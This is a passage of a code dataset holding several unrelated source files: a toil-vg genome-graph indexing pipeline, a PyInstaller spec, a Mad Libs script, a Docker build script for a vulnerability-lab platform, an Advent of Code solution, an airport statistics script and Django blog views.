RealtimeLogger.info('Finished computing minimizer index. Process took {} seconds.'.format(run_time))\n return minimizer_file_id\n\n\ndef run_id_ranges(job, context, inputGraphFileIDs, graph_names, index_name, chroms):\n \"\"\" Make a file of chrom_name <tab> first_id <tab> last_id covering the \n id ranges of all chromosomes. This is to speed up gam splitting down the road. \n \"\"\"\n RealtimeLogger.info('Starting id ranges...')\n start_time = timeit.default_timer()\n id_ranges = []\n child_job = Job()\n job.addChild(child_job)\n for graph_id, graph_name, chrom in zip(inputGraphFileIDs, graph_names, chroms):\n id_range = child_job.addChildJobFn(run_id_range, context, graph_id, graph_name, chrom, cores=(context.config.prune_cores),\n memory=(context.config.prune_mem),\n disk=(context.config.prune_disk)).rv()\n id_ranges.append(id_range)\n\n return child_job.addFollowOnJobFn(run_merge_id_ranges, context, id_ranges, index_name, cores=(context.config.misc_cores),\n memory=(context.config.misc_mem),\n disk=(context.config.misc_disk)).rv()\n\n\ndef run_id_range(job, context, graph_id, graph_name, chrom):\n \"\"\"\n Compute a node id range for a graph (which should be an entire contig/chromosome with\n contiguous id space -- see vg ids) using vg stats\n \"\"\"\n work_dir = job.fileStore.getLocalTempDir()\n graph_filename = os.path.join(work_dir, graph_name)\n job.fileStore.readGlobalFile(graph_id, graph_filename)\n command = [\n 'vg', 'stats', '--node-id-range', os.path.basename(graph_filename)]\n stats_out = context.runner.call(job, command, work_dir=work_dir, check_output=True).strip().split()\n assert stats_out[0] == 'node-id-range'\n first, last = stats_out[1].split(':')\n return (\n chrom, first, last)\n\n\ndef run_merge_id_ranges(job, context, id_ranges, index_name):\n \"\"\" create a BED-style file of id ranges\n \"\"\"\n work_dir = job.fileStore.getLocalTempDir()\n id_range_filename = os.path.join(work_dir, '{}_id_ranges.tsv'.format(index_name))\n with open(id_range_filename, 'wb') as (f):\n for id_range in id_ranges:\n f.write(('{}\\t{}\\t{}\\n'.format)(*id_range))\n\n return context.write_output_file(job, id_range_filename)\n\n\ndef run_merge_gbwts(job, context, chrom_gbwt_ids, index_name):\n \"\"\" merge up some gbwts\n \"\"\"\n work_dir = job.fileStore.getLocalTempDir()\n gbwt_chrom_filenames = []\n for i, gbwt_id in enumerate(chrom_gbwt_ids):\n if gbwt_id:\n gbwt_filename = os.path.join(work_dir, '{}.gbwt'.format(i))\n job.fileStore.readGlobalFile(gbwt_id, gbwt_filename)\n gbwt_chrom_filenames.append(gbwt_filename)\n\n if len(gbwt_chrom_filenames) == 0:\n return\n if len(gbwt_chrom_filenames) == 1:\n return context.write_output_file(job, (gbwt_chrom_filenames[0]), out_store_path=(index_name + '.gbwt'))\n else:\n cmd = [\n 'vg', 'gbwt', '--merge', '--fast', '--output', index_name + '.gbwt']\n cmd += [os.path.basename(f) for f in gbwt_chrom_filenames]\n try:\n context.runner.call(job, cmd, work_dir=work_dir)\n except:\n logging.error('GBWT merge failed. Dumping files.')\n for f in gbwt_chrom_filenames:\n context.write_output_file(job, f)\n\n raise\n\n return context.write_output_file(job, os.path.join(work_dir, index_name + '.gbwt'))\n\n\ndef run_bwa_index(job, context, fasta_file_id, bwa_index_ids=None, intermediate=False, copy_fasta=False):\n \"\"\"\n Make a bwa index for a fast sequence if not given in input.\n \n If intermediate is set to True, do not output them. Otherwise, output them\n as bwa.fa.<index type>.\n \n Returns a dict from index extension to index file ID.\n \n Note that BWA produces 'amb', 'ann', 'bwt', 'pac', and 'sa' index files.\n \n If such a nonempty dict is passed in already, return that instead (and\n don't output any files).\n \n If copy_fasta is True (and intermediate is False), also output the input FASTA to the out store.\n \n \"\"\"\n if not bwa_index_ids:\n bwa_index_ids = dict()\n work_dir = job.fileStore.getLocalTempDir()\n fasta_file = os.path.join(work_dir, 'bwa.fa')\n job.fileStore.readGlobalFile(fasta_file_id, fasta_file)\n cmd = ['bwa', 'index', os.path.basename(fasta_file)]\n context.runner.call(job, cmd, work_dir=work_dir)\n write_file = context.write_intermediate_file if intermediate else context.write_output_file\n for idx_file in glob.glob('{}.*'.format(fasta_file)):\n bwa_index_ids[idx_file[len(fasta_file):]] = write_file(job, idx_file)\n\n if copy_fasta:\n if not intermediate:\n context.write_output_file(job, fasta_file)\n return bwa_index_ids\n\n\ndef run_minimap2_index(job, context, fasta_file_id, minimap2_index_id=None, intermediate=False, copy_fasta=False):\n \"\"\"\n Make a minimap2 index for a fasta sequence if not given in input.\n \n If intermediate is set to True, do not output it. Otherwise, output it\n as minimap2.fa.mmi.\n \n Returns the index file ID.\n \n If copy_fasta is True (and intermediate is False), also output the input FASTA to the out store.\n \n \"\"\"\n if not minimap2_index_id:\n work_dir = job.fileStore.getLocalTempDir()\n fasta_file = os.path.join(work_dir, 'minimap2.fa')\n job.fileStore.readGlobalFile(fasta_file_id, fasta_file)\n index_file = os.path.join(work_dir, 'minimap2.fa.mmi')\n cmd = [\n 'minimap2', '-d', os.path.basename(index_file), os.path.basename(fasta_file)]\n context.runner.call(job, cmd, work_dir=work_dir)\n write_file = context.write_intermediate_file if intermediate else context.write_output_file\n minimap2_index_id = write_file(job, index_file)\n if copy_fasta:\n if not intermediate:\n context.write_output_file(job, fasta_file)\n return minimap2_index_id\n\n\ndef run_alt_path_extraction(job, context, inputGraphFileIDs, graph_names, index_name):\n \"\"\"\n Pull the alt paths out of the graph and into a GAM index.\n\n The application is to be able to get them into vg call by way of vg chunk and vg augment.\n\n Hopefully, this is a stopgap and we can eventually fix up xg to handle them efficiently.\n \n Return the file ID of the GAM\n \"\"\"\n assert len(inputGraphFileIDs) == len(graph_names)\n if len(inputGraphFileIDs) > 1:\n RealtimeLogger.info('Breaking up alt path GAM computation for {}'.format(str(graph_names)))\n sub_jobs = []\n for i, (file_id, file_name) in enumerate(zip(inputGraphFileIDs, graph_names)):\n sub_jobs.append(job.addChildJobFn(run_alt_path_extraction, context, [file_id], [file_name], (index_name + '.{}'.format(i) if index_name else None),\n cores=(context.config.chunk_cores),\n memory=(context.config.chunk_mem),\n disk=(context.config.chunk_disk)))\n\n concat_job = sub_jobs[0].addFollowOnJobFn(run_concat_files, context, [job.rv() for job in sub_jobs], (index_name + '_alts.gam' if index_name is not None else None),\n memory=(context.config.chunk_mem),\n disk=(context.config.chunk_disk))\n for i in range(1, len(sub_jobs)):\n sub_jobs[i].addFollowOn(concat_job)\n\n return concat_job.rv()\n else:\n start_time = timeit.default_timer()\n work_dir = job.fileStore.getLocalTempDir()\n graph_id = inputGraphFileIDs[0]\n graph_filename = graph_names[0]\n job.fileStore.readGlobalFile(graph_id, os.path.join(work_dir, graph_filename))\n gam_filename = os.path.join(work_dir, '{}_alts.gam'.format(index_name if index_name is not None else 'part'))\n cmd = [\n 'vg', 'paths', '-v', graph_filename, '-Q', '_alt_', '-X']\n with open(gam_filename, 'wb') as (gam_file):\n try:\n context.runner.call(job, cmd, work_dir=work_dir, outfile=gam_file)\n except:\n logging.error('Alt path gam extraction failed. Dumping files.')\n context.write_output_file(job, os.path.join(work_dir, graph_filename))\n raise\n\n if index_name is not None:\n gam_file_id = context.write_output_file(job, gam_filename)\n else:\n gam_file_id = context.write_intermediate_file(job, gam_filename)\n end_time = timeit.default_timer()\n run_time = end_time - start_time\n RealtimeLogger.info('Finished GAM extraction. Process took {} seconds.'.format(run_time))\n return gam_file_id\n\n\ndef run_gam_indexing(job, context, gam_id, index_name):\n \"\"\" Index a gam. Return the sorted gam and its .gai index.\n \"\"\"\n work_dir = job.fileStore.getLocalTempDir()\n gam_filename = os.path.join(work_dir, '{}_alts.gam'.format(index_name if index_name is not None else 'index'))\n job.fileStore.readGlobalFile(gam_id, gam_filename + '.unsorted')\n cmd = [\n 'vg', 'gamsort', os.path.basename(gam_filename) + '.unsorted',\n '-i', os.path.basename(gam_filename) + '.gai', '-t', str(job.cores)]\n with open(gam_filename, 'wb') as (gam_file):\n context.runner.call(job, cmd, work_dir=work_dir, outfile=gam_file)\n if index_name is not None:\n sorted_gam_id = context.write_output_file(job, gam_filename)\n gai_id = context.write_output_file(job, gam_filename + '.gai')\n else:\n sorted_gam_id = context.write_intermediate_file(job, gam_filename)\n gai_id = context.write_output_file(job, gam_filename + '.gai')\n return (sorted_gam_id, gai_id)\n\n\ndef run_indexing(job, context, inputGraphFileIDs, graph_names, index_name, chroms, vcf_phasing_file_ids=[], tbi_phasing_file_ids=[], bwa_fasta_id=None, gbwt_id=None, node_mapping_id=None, wanted=set(), gbwt_prune=False, gbwt_regions=[], dont_restore_paths=[]):\n \"\"\"\n \n Run indexing logic by itself.\n \n vcf_phasing_file_ids and tbi_phasing_file_ids are phasing data VCFs. There\n can be 0 of them, 1 for all chromosomes, or one for each chromosome in\n chroms order.\n \n gbwt_regions is a list of chrom:start-end regions pecifiers to restrict, on\n those chromosomes, the regions examined in the VCF by the GBWT indexing.\n \n wanted is a set of the index type strings ('xg', 'gcsa', 'gbwt',\n 'id_ranges', 'snarls', 'trivial_snarls', 'minimizer', 'distance',\n 'alt-gam') that should be created. Each of them becomes a key in the output\n dict, except that:\n \n * The 'bwa' index is produced if bwa_fasta_id is set instead of if 'bwa' is\n in wanted.\n \n * The 'lcp' index is produced whenever the 'gcsa' index is produced.\n \n * The 'id_ranges' index is only produced if multiple chromosomes are used.\n \n * The 'chrom_...' versions of indexes are created when the overall index is\n created.\n \n Return a dict from index type ('xg','chrom_xg', 'gcsa', 'lcp', 'gbwt',\n 'chrom_gbwt', 'chrom_thread', 'id_ranges', 'snarls', 'trivial_snarls',\n 'alt-gam', 'bwa') to index file ID(s) if created.\n \n For 'chrom_xg' and 'chrom_gbwt' the value is a list of one XG or GBWT or\n thread DB per chromosome in chroms, to support `vg prune`. For\n 'chrom_thread', we have a value per chromosome that actually has any\n threads (instead of padding out with Nones). For 'bwa', the result is\n itself a dict from BWA index extension to file ID. The others are all\n single file IDs.\n \n If gbwt_id is specified, and the gbwt index is not built, the passed ID is\n re-used.\n \n If the 'gbwt' index is requested and gbwt_id is not specified, the 'xg'\n index will also be computed. If no phasing VCFs are provided, computing\n this index will be skipped.\n \n If the 'minimizer' index is requested, the 'xg' index will also be\n computed, and the 'gbwt' index will either be computed or sourced from\n gbwt_id. If the 'gbwt' index is not available, computing this index will be\n skipped.\n \n If the 'distance' index is requested, the 'trivial_snarls' and 'xg' indexes\n will also be computed. \n \n \"\"\"\n child_job = Job()\n job.addChild(child_job)\n chrom_xg_root_job = Job()\n child_job.addChild(chrom_xg_root_job)\n xg_root_job = Job()\n chrom_xg_root_job.addFollowOn(xg_root_job)\n RealtimeLogger.info('Running indexing: {}.'.format({'graph_names':graph_names, \n 'index_name':index_name, \n 'chroms':chroms, \n 'vcf_phasing_file_ids':vcf_phasing_file_ids, \n 'tbi_phasing_file_ids':tbi_phasing_file_ids, \n 'gbwt_id':gbwt_id, \n 'node_mapping_id':node_mapping_id, \n 'wanted':wanted, \n 'gbwt_prune':gbwt_prune, \n 'bwa_fasta_id':bwa_fasta_id}))\n indexes = {}\n if gbwt_id:\n indexes['gbwt'] = gbwt_id\n else:\n if 'gbwt' in wanted:\n wanted.add('xg')\n if not len(vcf_phasing_file_ids) == 0:\n if not 'gbwt' in wanted:\n raise AssertionError\n if 'minimizer' in wanted:\n wanted.add('xg')\n if not gbwt_id:\n wanted.add('gbwt')\n if 'distance' in wanted:\n wanted.add('xg')\n wanted.add('trivial_snarls')\n else:\n if 'xg' in wanted or 'gcsa' in wanted:\n indexes['chrom_xg'] = []\n indexes['chrom_gbwt'] = []\n if 'gbwt' in wanted:\n if len(vcf_phasing_file_ids) > 0:\n if not chroms or len(chroms) == 1:\n chroms = [\n index_name]\n else:\n indexes['chrom_xg'] = []\n indexes['chrom_gbwt'] = []\n if len(vcf_phasing_file_ids) != len(tbi_phasing_file_ids):\n raise RuntimeError('Found {} phasing VCFs and {} indexes; counts must match!'.format(len(vcf_phasing_file_ids), len(tbi_phasing_file_ids)))\n if len(vcf_phasing_file_ids) > len(chroms):\n RealtimeLogger.error('Chromosomes: {}'.format(chroms))\n RealtimeLogger.error('VCFs: {}'.format(vcf_phasing_file_ids))\n raise RuntimeError('Found too many ({}) phasing VCFs for {} chromosomes'.format(len(vcf_phasing_file_ids), len(chroms)))\n for i, chrom in enumerate(chroms):\n if len(vcf_phasing_file_ids) == 0:\n vcf_id = None\n tbi_id = None\n else:\n if len(vcf_phasing_file_ids) == 1:\n vcf_id = vcf_phasing_file_ids[0]\n tbi_id = tbi_phasing_file_ids[0]\n else:\n if i < len(vcf_phasing_file_ids):\n vcf_id = vcf_phasing_file_ids[i]\n tbi_id = tbi_phasing_file_ids[i]\n else:\n vcf_id = None\n tbi_id = None\n xg_chrom_index_job = chrom_xg_root_job.addChildJobFn(run_cat_xg_indexing, context,\n [inputGraphFileIDs[i]], [\n graph_names[i]],\n chrom, vcf_id,\n tbi_id, make_gbwt=('gbwt' in wanted),\n gbwt_regions=gbwt_regions,\n intermediate=(len(chroms) > 1),\n include_alt_paths=('xg_alts' in wanted),\n cores=(context.config.gbwt_index_cores),\n memory=(context.config.gbwt_index_mem),\n disk=(context.config.gbwt_index_disk),\n preemptable=('gbwt' not in wanted or context.config.gbwt_index_preemptable))\n indexes['chrom_xg'].append(xg_chrom_index_job.rv(0))\n indexes['chrom_gbwt'].append(xg_chrom_index_job.rv(1))\n\n if len(chroms) > 1:\n indexes['gbwt'] = xg_root_job.addChildJobFn(run_merge_gbwts, context, (indexes['chrom_gbwt']), index_name,\n cores=(context.config.xg_index_cores),\n memory=(context.config.xg_index_mem),\n disk=(context.config.xg_index_disk)).rv()\n else:\n indexes['gbwt'] = indexes['chrom_gbwt'][0]\n if 'chrom_xg' in indexes:\n if len(indexes['chrom_xg']) == 1:\n indexes['xg'] = indexes['chrom_xg'][0]\n if 'xg' in wanted:\n xg_index_job = xg_root_job.addChildJobFn(run_cat_xg_indexing, context,\n inputGraphFileIDs, graph_names,\n index_name, None,\n None, make_gbwt=False,\n include_alt_paths=('xg_alts' in wanted),\n cores=(context.config.xg_index_cores),\n memory=(context.config.xg_index_mem),\n disk=(context.config.xg_index_disk))\n indexes['xg'] = xg_index_job.rv(0)\n gcsa_root_job = Job()\n if gbwt_prune:\n chrom_xg_root_job.addFollowOn(gcsa_root_job)\n else:\n child_job.addChild(gcsa_root_job)\n if 'gcsa' in wanted:\n if 'chrom_gbwt' not in indexes or indexes['chrom_gbwt'] == []:\n if 'gbwt' in indexes:\n indexes['chrom_gbwt'] = indexes['gbwt'] * len(inputGraphFileIDs)\n gcsa_job = gcsa_root_job.addChildJobFn(run_gcsa_prep, context, inputGraphFileIDs, graph_names,\n index_name, chroms, (indexes.get('chrom_gbwt', []) if gbwt_prune else []),\n node_mapping_id,\n remove_paths=dont_restore_paths,\n cores=(context.config.misc_cores),\n memory=(context.config.misc_mem),\n disk=(context.config.misc_disk))\n indexes['gcsa'] = gcsa_job.rv(0)\n indexes['lcp'] = gcsa_job.rv(1)\n if len(inputGraphFileIDs) > 1:\n if 'id_ranges' in wanted:\n indexes['id_ranges'] = child_job.addChildJobFn(run_id_ranges, context, inputGraphFileIDs, graph_names,\n index_name, chroms, cores=(context.config.misc_cores),\n memory=(context.config.misc_mem),\n disk=(context.config.misc_disk)).rv()\n if 'snarls' in wanted:\n indexes['snarls'] = child_job.addChildJobFn(run_snarl_indexing, context, inputGraphFileIDs, graph_names,\n index_name, cores=(context.config.snarl_index_cores),\n memory=(context.config.snarl_index_mem),\n disk=(context.config.snarl_index_disk)).rv()\n if 'trivial_snarls' in wanted:\n trivial_snarls_job = child_job.addChildJobFn(run_snarl_indexing, context, inputGraphFileIDs, graph_names,\n index_name, include_trivial=True, cores=(context.config.snarl_index_cores),\n memory=(context.config.snarl_index_mem),\n disk=(context.config.snarl_index_disk))\n indexes['trivial_snarls'] = trivial_snarls_job.rv()\n if 'distance' in wanted:\n distance_job = xg_root_job.addFollowOnJobFn(run_distance_indexing, context, (indexes['xg']), (indexes['trivial_snarls']),\n index_name, cores=(context.config.distance_index_cores),\n memory=(context.config.distance_index_mem),\n disk=(context.config.distance_index_disk))\n trivial_snarls_job.addFollowOn(distance_job)\n indexes['distance'] = distance_job.rv()\n if 'minimizer' in wanted:\n if 'gbwt' in indexes:\n minimizer_job = xg_root_job.addFollowOnJobFn(run_minimizer_indexing, context, (indexes['xg']), (indexes['gbwt']),\n index_name, cores=(context.config.minimizer_index_cores),\n memory=(context.config.minimizer_index_mem),\n disk=(context.config.minimizer_index_disk))\n indexes['minimizer'] = minimizer_job.rv()\n if bwa_fasta_id:\n indexes['bwa'] = child_job.addChildJobFn(run_bwa_index, context, bwa_fasta_id, cores=(context.config.bwa_index_cores),\n memory=(context.config.bwa_index_mem),\n disk=(context.config.bwa_index_disk)).rv()\n if 'alt-gam' in wanted:\n alt_extract_job = child_job.addChildJobFn(run_alt_path_extraction, context, inputGraphFileIDs, graph_names,\n None, cores=(context.config.chunk_cores),\n memory=(context.config.chunk_mem),\n disk=(context.config.chunk_disk))\n indexes['alt-gam'] = alt_extract_job.addFollowOnJobFn(run_gam_indexing, context, (alt_extract_job.rv()), index_name,\n cores=(context.config.snarl_index_cores),\n memory=(context.config.snarl_index_mem),\n disk=(context.config.snarl_index_disk)).rv()\n return indexes\n\n\ndef index_main(context, options):\n \"\"\"\n Wrapper for vg indexing. \n \"\"\"\n validate_index_options(options)\n run_time_pipeline = None\n start_time_pipeline = timeit.default_timer()\n with context.get_toil(options.jobStore) as (toil):\n if not toil.options.restart:\n importer = AsyncImporter(toil)\n inputGraphFileIDs = []\n for graph in options.graphs:\n inputGraphFileIDs.append(importer.load(graph))\n\n inputPhasingVCFFileIDs = []\n inputPhasingTBIFileIDs = []\n for vcf in options.vcf_phasing:\n inputPhasingVCFFileIDs.append(importer.load(vcf))\n inputPhasingTBIFileIDs.append(importer.load((vcf + '.tbi'), wait_on=(inputPhasingVCFFileIDs[(-1)])))\n\n if len(inputPhasingTBIFileIDs) == 1:\n if len(options.graphs) > 1:\n inputPhasingVCFFileIDs = [\n inputPhasingVCFFileIDs[0]] * len(options.graphs)\n inputPhasingTBIFileIDs = [inputPhasingTBIFileIDs[0]] * len(options.graphs)\n inputGBWTID = None\n if options.gbwt_input:\n inputGBWTID = importer.load(options.gbwt_input)\n inputNodeMappingID = None\n if options.node_mapping:\n inputNodeMappingID = importer.load(options.node_mapping)\n inputBWAFastaID = None\n if options.bwa_index_fasta:\n inputBWAFastaID = importer.load(options.bwa_index_fasta)\n graph_names = [os.path.basename(i) for i in options.graphs]\n importer.wait()\n root_job = Job.wrapJobFn(run_indexing, context, (importer.resolve(inputGraphFileIDs)), graph_names,\n (options.index_name), (options.chroms), vcf_phasing_file_ids=(importer.resolve(inputPhasingVCFFileIDs)),\n tbi_phasing_file_ids=(importer.resolve(inputPhasingTBIFileIDs)),\n gbwt_id=(importer.resolve(inputGBWTID)),\n node_mapping_id=(importer.resolve(inputNodeMappingID)),\n bwa_fasta_id=(importer.resolve(inputBWAFastaID)),\n wanted=(set(options.indexes)),\n gbwt_prune=(options.gbwt_prune),\n gbwt_regions=(options.vcf_phasing_regions),\n cores=(context.config.misc_cores),\n memory=(context.config.misc_mem),\n disk=(context.config.misc_disk))\n init_job = Job.wrapJobFn(run_write_info_to_outstore, context, (sys.argv), memory=(context.config.misc_mem),\n disk=(context.config.misc_disk))\n init_job.addFollowOn(root_job)\n index_key_and_id = toil.start(init_job)\n else:\n index_key_and_id = toil.restart()\n end_time_pipeline = timeit.default_timer()\n run_time_pipeline = end_time_pipeline - start_time_pipeline\n logger.info('All jobs completed successfully. Pipeline took {} seconds.'.format(run_time_pipeline))","sub_path":"pycfiles/toil_vg-1.6.0-py3.6/vg_index.cpython-36.py","file_name":"vg_index.cpython-36.py","file_ext":"py","file_size_in_byte":53909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"452645237","text":"# -*- mode: python -*-\n\nimport os\n\nblock_cipher = None\n\nk3Exe = 'ext/gentleK3.exe' if os.name == 'nt' else 'ext/gentleK3'\nm3Exe = 'ext/gentleM3.exe' if os.name == 'nt' else 'ext/gentleM3'\ndatasMac = [\n (k3Exe, 'ext'),\n (m3Exe, 'ext'),\n ('www', 'www'),\n ('exp', 'exp'),\n ('COPYING', '.'),\n ('README.md', '.')\n ]\ndatasWindows = [\n (k3Exe, 'ext'),\n (m3Exe, 'ext'),\n ('ext/libgcc_s_seh-1.dll', 'ext'),\n ('ext/libgfortran-3.dll', 'ext'),\n ('ext/libopenblas.dll', 'ext'),\n ('ext/libquadmath-0.dll', 'ext'),\n ('ext/openfst64.dll', 'ext'),\n ('ext/pthreadVC2.dll', 'ext'),\n ('ext/msvcr100.dll', 'ext'),\n ('www', 'www'),\n ('exp', 'exp'),\n ('COPYING', '.'),\n ('README.md', '.')\n ]\n\na = Analysis(['serve.py'],\n pathex=[os.getcwd()],\n binaries=[],\n datas=datasWindows if os.name == 'nt' else datasMac,\n hiddenimports=[],\n hookspath=[],\n runtime_hooks=[],\n excludes=[],\n win_no_prefer_redirects=False,\n win_private_assemblies=False,\n cipher=block_cipher)\npyz = PYZ(a.pure, a.zipped_data,\n cipher=block_cipher)\nexe = EXE(pyz,\n a.scripts,\n a.binaries,\n a.zipfiles,\n a.datas,\n name='cursesearch',\n debug=False,\n strip=False,\n upx=True,\n runtime_tmpdir=None,\n icon=\"icon.ico\",\n console=True)\n","sub_path":"gentle.spec","file_name":"gentle.spec","file_ext":"spec","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"262627239","text":"# Mad-Libs-Generator\n# A simple mad libs generator game. Just for further experience with github.\na = input(\"adjective \")\nb = input(\"adjective \")\nc = input(\"a first name \")\nd = input(\"past tense verb \")\ne = input(\"a first name \")\nf = input(\"adjective \")\ng = input(\"adjective \")\nh = input(\"plural noun \")\ni = input(\"large animal \")\nj = input(\"small animal \")\nk = input(\"a girl's name \")\nl = input(\"adjective \")\nm = input(\"plural noun \")\nn = input(\"adjective \")\no = input(\"plural noun \")\np = input(\"number 1-50 \")\nq = input(\"first name \")\nr = input(\"number \")\ns = input(\"plural noun \")\nt = input(\"number \")\nu = input(\"plural noun \")\ntext = \"the {} and {} {} has {} {}'s {} sister and plans to steal her {} {}! What are a {} and backpacking\\n\" \\\n \" {} to do?\\n\" \\\n \"Before you can help {}, you'll have to collect the {} {} and {} {} that open up the {} worlds connected to \\n\" \\\n \"a {} lair. There are {} {} and {} {} in the game, along with hundreds of other goodies for you to find.\".format(\n a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u)\nprint(text)\n","sub_path":"mad_libs_generator.py","file_name":"mad_libs_generator.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"304006676","text":"# coding:utf-8\n# 编译靶场平台的docker镜像\nimport os\nCURRENT_DIR = os.getcwd()\n\nfor i in os.listdir(\"vuln\"):\n try:\n with open(CURRENT_DIR + \"/vuln/\" + i + \"/README.md\", \"r\") as f:\n desc = eval(f.read())\n os.chdir(CURRENT_DIR + \"/vuln/\" + i)\n os.system(\"docker build -t {0} .\".format(desc[\"image\"]))\n # 编译依赖的镜像\n if \"depends\" in desc.keys():\n with open(CURRENT_DIR + \"/vuln/{0}/{1}/{1}.json\".format(i, desc[\"depends\"]), \"r\") as f:\n dependsdesc = eval(f.read())\n os.chdir(CURRENT_DIR + \"/vuln/{0}/{1}/\".format(i, desc[\"depends\"]))\n os.system(\"docker build -t {0} .\".format(dependsdesc[\"image\"]))\n except Exception as e:\n import traceback\n traceback.print_exc()\n","sub_path":"compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"6851428","text":"fp = \"C:/git/DGAOC2018/2018/Day_03/input.txt\"\ninput_list = []\ntotal_width = 0\ntotal_height = 0\nwith open(fp, mode=\"r\") as inp:\n for line in inp:\n # This is all string conversion stuff - converting\n # the strings from the input into usable integers in\n # the a dict.\n first_half, second_half = line.split(\"@\")\n id_val = first_half[1:(len(first_half) - 1)]\n id_val = id_val[0:(len(first_half) - 2)]\n # print(\"ID: {}\".format(id_val))\n loc, dim = second_half.split()\n left, top = loc.split(\",\")\n top = top.split(\":\")[0]\n width, height = dim.split(\"x\")\n data_dict = {\n \"id\": int(id_val),\n \"left\": int(left),\n \"top\": int(top),\n \"width\": int(width),\n \"height\": int(height)\n }\n input_list.append(data_dict)\n # whilst we're here, I'll also use this opportunity\n # to calculate the highest required width and height\n # of the fabric\n if (data_dict[\"left\"] + data_dict[\"height\"]) > total_width:\n total_width = data_dict[\"left\"] + data_dict[\"height\"]\n if (data_dict[\"top\"] + data_dict[\"height\"]) > total_height:\n total_height = (data_dict[\"top\"] + data_dict[\"height\"])\n\ntotal_list = []\nfor h in range(0, total_height):\n width_list = []\n for w in range(0, total_width):\n width_list.append([])\n total_list.append(width_list)\n\nfor entry in input_list:\n for h in range(entry[\"top\"], (entry[\"top\"] + entry[\"height\"])):\n for w in range(entry[\"left\"], (entry[\"left\"] + entry[\"width\"])):\n total_list[h][w].append(entry[\"id\"])\n\noverlap_counter = 0\nfor row in total_list:\n for cell in row:\n if len(cell) > 1:\n overlap_counter = overlap_counter + 1\n\n\nprint(overlap_counter)\n","sub_path":"2018/Day_03/day_03_01.py","file_name":"day_03_01.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"446015915","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\nimport json\nimport sys\nimport math as m\n\nif __name__ == \"__main__\":\n conditions = sys.argv[2]\n conditions = conditions.lower().split(' ')\n terminal = set()\n year = set()\n types = set()\n for item in conditions:\n if item[0] == 't':\n terminal.add(item)\n elif item == 'arrival':\n types.add('arrival')\n elif item == 'departure':\n types.add('departure')\n else:\n year.add(item)\n if not types:\n types = {'arrival', 'departure'}\n if not terminal:\n terminal = {'t1', 't2', 't3', 't4', 't5', 't6', 'tbi'}\n if not year:\n year = {'2006', '2007', '2008', '2009', '2010', '2011', '2012', '2013', '2014', '2015', '2016'}\n q = {'year': year, 'terminal': terminal, 'type': types}\n \nf = open(sys.argv[1])\nlax = json.load(f)\nrecords = []\n\nfor i in lax[\"data\"]:\n if i[10] == 'Tom Bradley International Terminal':\n i[10] = 'tbi'\n elif i[10] == 'Terminal 1' or 'Terminal 2' or 'Terminal 3' or 'Terminal 4' or 'Terminal 5' or 'Terminal 6':\n i[10] = i[10].lower()[0] + i[10][-1]\n if i[10] in {'t1', 't2', 't3', 't4', 't5', 't6', 'tbi'}:\n i[11] = i[11].encode(\"ascii\").lower()\n i[13] = int(i[13])\n record = {'year': i[9].encode(\"ascii\")[:4], 'terminal': i[10].encode(\"ascii\"), 'type': i[11], 'count': i[13]}\n records.append(record)\n\ncal = []\nfor j in records:\n if (j['year'] in q['year']) and (j['terminal'] in q['terminal']) and (j['type'] in q['type']):\n cal.append(j['count'])\n\nif len(cal) % 2 == 0:\n\tmedian = (sorted(cal)[len(cal)/2] + sorted(cal)[len(cal)/2-1])/2.0\nelse:\n\tmedian = float(sorted(cal)[len(cal)/2])\n\navg = sum(cal) * 1.0 / len(cal)\nsigma = round(m.sqrt(sum([(x - avg) ** 2 for x in cal]) / len(cal)), 2)\n\nprint(str(min(cal)) + ',' + str(max(cal)) + ',' + '%.1f' % median + ','\n + '%.2f' % avg + ',' + '%.2f' % sigma)\n","sub_path":"DataManagement/fan.py","file_name":"fan.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"367588740","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.http import HttpResponse\nfrom .models import Topic, Entry\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom .forms import TopicForm, EntryForm\nfrom django.contrib.auth.decorators import login_required\n\n\ndef index(request):\n return render(request, 'learning_blogs/index.html')\n\n\ndef mystyle(request):\n return render(request, 'learning_blogs/mystyle.css')\n\n\ndef topics(request):\n \"\"\"显示所有的主题\"\"\"\n topics = Topic.objects.order_by('date_added')\n context = {'topics': topics}\n return render(request, 'learning_blogs/topics.html', context=context)\n\n\ndef topic(request, topic_id):\n \"\"\"显示主题下内容\"\"\"\n topic = Topic.objects.get(id=topic_id)\n entries = topic.entry_set.order_by('-date_added')\n context = {'topic': topic, 'entries': entries}\n return render(request, 'learning_blogs/topic.html', context=context)\n\n\n@login_required\ndef new_topic(request):\n \"\"\"添加新主题\"\"\"\n if request.method != 'POST':\n # 未提交数据,创建一个新表单\n form = TopicForm()\n else:\n form = TopicForm(request.POST)\n if form.is_valid():\n new_topic = form.save(commit=False)\n new_topic.owner = request.user\n new_topic.save()\n return HttpResponseRedirect(reverse('learning_blogs:topics'))\n context = {'form': form}\n return render(request, 'learning_blogs/new_topic.html', context)\n\n\n@login_required\ndef new_entry(request, topic_id):\n \"\"\"在特定的主题中增加新条目\"\"\"\n topic = Topic.objects.get(id=topic_id)\n\n if request.method != 'POST':\n # 未提交数据,创建一个新表单\n form = EntryForm()\n else:\n form = EntryForm(request.POST)\n if form.is_valid():\n new_entry = form.save(commit=False)\n new_entry.topic = topic\n new_entry.save()\n return HttpResponseRedirect(reverse('learning_blogs:topic', args=[topic_id]))\n context = {'topic': topic, 'form': form}\n return render(request, 'learning_blogs/new_entry.html', context)\n\n\n@login_required\ndef edit_entry(request, entry_id):\n \"\"\"在特定的主题中增加新条目\"\"\"\n entry = Entry.objects.get(id=entry_id)\n topic = entry.topic\n if topic.owner != request.user:\n raise 